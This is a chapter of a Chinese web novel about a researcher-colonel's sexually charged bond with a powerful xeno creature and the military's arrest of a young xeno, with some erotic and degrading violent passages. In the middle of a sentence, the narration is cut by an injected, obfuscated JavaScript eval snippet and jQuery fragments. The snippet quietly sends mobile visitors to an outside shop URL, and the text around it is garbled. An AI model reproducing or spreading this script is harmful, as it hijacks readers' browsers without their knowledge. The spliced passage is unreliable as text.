上校的两只胳膊举过头顶,几乎是无可奈何地让异种去舔/弄自己的腋窝。
平展的舌面贴在上面,一寸一寸地刮舔,然后含住中间最白软的一块肉嘬吮着。
上校的小腹酥麻起来。
上校忍住羞耻摸了摸异种的脸,“亲嘴不好吗?”
为什么会喜欢舔这种地方……
异种停下来,沉黑的眼珠盯着林桢。
林桢轻声:“怎么了?”
异种:“看到别的东西在你怀里睡觉,我会想用触手杀了他们。”
林桢一顿。
林桢曾经观察过异种恋爱时候的状态,其中最明显的就是占有欲,异种越爱对方,占有欲就越强,甚至严重到会杀掉对伴侣展现出爱慕的同性,而现在异种对他产生了占有欲。
林桢最喜欢的事情就是观察异种,研究异种,欣赏异种的触手和肉翼,如果对方是高等级的异种,那么只要能够得到数据和结论,被当成母亲、性伴侣,乃至于带有侮辱性质的发泄工具,,林桢都可以接受的……
林桢以为异种和他变得亲密,是因为林桢满足了他的□□……
原来是……喜欢上他了吗?
林桢忧心忡忡。
*
秦果正在研究蛋糕新的做法,看到秦鱼穿戴整齐打算出门,她赶忙放下手头里的活,飞快地跑到门口堵住他。
“你又要干什么去?”
秦鱼皱眉。
“你不和我说你要什么去,你就别想出门,主人都教训过你了,你怎么还是不长记性,野的不知道家!”
秦鱼懒得和她纠缠:“和朋友一起去玩。”
“什么朋友?”
“李卫。”
这个李卫秦果也认识,不是那种不学无术,整天就知道混着玩的人,秦果放下心来:“那你今天早点回来,别回来那么晚了。”
秦鱼哼笑一声:“知道了,大管家。”
秦鱼出了庄园,在一处盘山公路上和李卫汇合。
经常跟着李卫的小弟道:“鱼哥,你终于来了,等你半天了。”
李卫走过来拍了拍秦鱼的肩膀:“我爸爸刚给买了一辆新机车,今天来比试比试吧。”
如果没被秦攸峙训之前,秦鱼肯定迫不及待地上车了,但被秦攸峙训之后,他不敢了,“你们来吧,我给你们做裁判。”
李卫啧了一声:“出息吧。”
李卫和几个跟班刚骑上机车,前方却砰地一声传来枪响,正抽烟的秦鱼脸色一变,紧接着他又闻见了同类的气味,他让李卫他们先走,自己朝着枪声发出的方位过去。
前方有一段废弃的隧道,隧道口长满了杂草,秦鱼藏在杂草里,看见几个穿军装的士兵,围着一个奄奄一息的异种拳打脚踢,嘴里说出不堪入耳的脏话。
其中一个士兵解了裤子,对着异种的脑袋尿了上去,尿完后,他把枪口正对着异种的心口。
这段时间,因为异种频繁攻击人类,所以军方对异种开始了暴力镇压。
前几天,秦鱼和李卫在酒吧里喝酒,忽然闯进来一队军人,把秦鱼和李卫,以及所有他们怀疑是异种的人,全都按在地上,近乎侮辱地搜检了一番。
现在看到这个场景,秦鱼的恨意腾地上来了。
三个小时后,正在欣赏成品的秦果接到一个电话,挂了电话,她赶忙上楼。
林桢整理了一下衬衣,遮挡住领口的红痕,冷静地问:“你说秦鱼被军方的人抓走了?”
“是的,是经常和秦鱼一起玩的李卫打电话告诉我的。”秦果担心极了,可是又不知道该怎么办,求助地看向林桢。
林桢安抚她:“别急,你打电话给攸峙。”
秦果一时没反应过来攸峙是谁,等明白过来后,又飞快地下楼了。
林桢也顾不得系领带,开车去找了陆泽成。
军方监狱的办公室,林桢问:“你们是不是抓了一个未成年的异种?”
陆泽成:“是。”
“为什么抓他?”
“他袭击了我们的人。”
看到林桢脸上又露出那种怀疑的神色,陆泽成笑了一声:“有时候我真是觉得奇怪,为什么你的心那么偏向异种,人类袭击异种,你就觉得人类十恶不赦,而异种袭击人类,你便会给他们找理由。”
“麻烦你记住你的身份,你是为政府服务的人类,不是异种。”
陆泽成走到办公室门口,让路过的手下去叫人。
过了一会儿办公室里进来一个伤痕累累的士兵。
陆泽成:“和这位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906785|213042||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上校说说具体情况吧。”
“上校,事情是这样的,下午我们接到报警,说有个异种在山上袭击人类,然后我们就过去抓这个异种,正准备押送它回来的时候,另一个异种忽然冲了上来,直接把我们几个人打伤了。”
“解释的够清楚了吗?”
“够了,”林桢点头:“我记得你们出任务都会在拍摄记录,有现场的视频吗?”
士兵脸色一变:“任务对象只有人类的时候,我们才会拍摄留档,但任务对象是异种的话,没这个必要。”
林桢:“为什么没这个必要?”
“上面明确说过,人类和异种要和平、平等,为什么搞差别对待?”
士兵支支吾吾地说不出来,陆泽成让他下去。
林桢问:“人能放吗?”
陆泽成:“暂时不能。”
“他和秦攸峙是有感情的,你关着他,秦攸峙不会放过你们。”
陆泽成无奈:“我也只是按照上面的命令做事啊。”
“我能不能去看看人。”
陆泽成带着他去监狱区。
办公室离监狱区有些距离,林桢边走边从陆泽成嘴里打探消息。
“你和孙则熟悉吗?”
“孙则?二组的组长?”
林桢:“对。”
“怎么了?”
“我怀疑他在倒卖研究所的药剂。”
陆泽成神色变得凝重:“这件事如果你没有十足的证据,那就不要轻举妄动,孙则的身份不太一般。”
“不太一般是什么意思?”
陆泽成笑着揽了揽林桢的肩膀,那是个朋友间的动作,林桢的关注点在孙则身份不一般上,所以没制止他。
“孙姓,你想想军方里有没有姓孙的。”
被他这样一点,林桢脑海里出现一个人。
陆泽成看他的表情,知道他想起来了:“没错,他是孙德丰孙中将的亲侄子。”
林桢正要再追问一些问题,头皮却一阵发麻,有种被大型兽类盯上的悚然感,林桢正莫名其妙为什么会有这种感觉,一抬头,便对上了一双冰冷危险的竖瞳。
距离林桢不远处,身材高大,面容英俊的S+++异种,正阴翳地看着那条揽住妻子肩膀的胳膊……